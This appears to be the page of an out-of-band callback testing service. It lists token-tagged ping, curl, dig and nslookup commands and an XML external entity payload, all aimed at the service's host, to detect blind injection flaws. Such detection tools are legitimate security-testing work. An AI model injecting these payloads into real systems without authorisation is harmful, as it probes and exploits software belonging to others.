$ ping -c1 -p 007e238fa1610132d5cb97dccc203600 unhack.ca
 
$ curl http://unhack.ca/p/7e238fa1610132d5cb97dccc2036
 
$ dig 7e238fa1610132d5cb97dccc2036 @unhack.ca
 
$ dig 7e238fa1610132d5cb97dccc2036.ns.unhack.ca
 
C:\> nslookup 7e238fa1610132d5cb97dccc2036 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7e238fa1610132d5cb97dccc2036">]>
    <foo>&xxe;</foo>
Waiting for ping...